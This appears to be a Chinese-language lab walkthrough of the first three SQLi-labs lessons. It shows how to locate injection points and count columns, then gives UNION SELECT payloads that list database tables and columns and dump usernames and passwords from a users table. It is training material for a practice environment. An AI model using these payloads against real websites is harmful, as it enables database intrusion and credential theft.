在做题之前,我们先在每一关的php文件中添加两段语句方便观察使用
一、less1:基于错误的GET单引号字符型注入
知识点
sql注入基于错误-单引号-字符型
查找注入点
在url中:
- ’
- and 1=1/and 1=2
- 随即输入(整形)
- -1/+1回显上下页面(整形)
- and sleep(5) (判断页面返回时间)(转自:https://www.cnblogs.com/lzlzzzzzz/p/11794713.html)
下面用的是第二种方式
先查找注入点,这里先用?id=1 and 1=1试一下
发现不报错,再改成and 1=2,也没有报错
这里可以判定可以利用单引号字符注入,之后再判断列数
这里我们要用到 order by…(这个语句本来是用来给第几列排序的,这里也可以通过此来判断列数)
可以看到order by 4出错了,这里再试一下order by 3,没有报错(这里不再弄图片了)说明数据存在3列
之后我们再来判断数据显示点,判断语句:?id=-1’ union select 1,2,3–+
然后再获取数据库,语句:?id=-1’ union select 1,2,database();–+
然后查看数据库,语句:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
接着查看users的数据库,
语句:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
这时看到了username和password,接下来挨个取出,先取username,
语句:?id=-1’ union select 1,2,group_concat(username) from security.users --+
再取出password,将上述语句中的username改为password即可
当然也可以一块取出
语句:?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+
二、less2:基于错误的GET整型注入
这一关跟上一关注入语句区别不大,不过要去掉单引号,这里是整型,然后这里的’~‘我直接改成16进制了,改十六进制先将其改为十六进制,然后前面添上0x
三、less3:基于错误的GET单引号变形字符型注入
这里先尝试注入语句?id=1,可以看到多了1旁边多了(’’)
这里直接注入语句:?id=-1’) union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users–+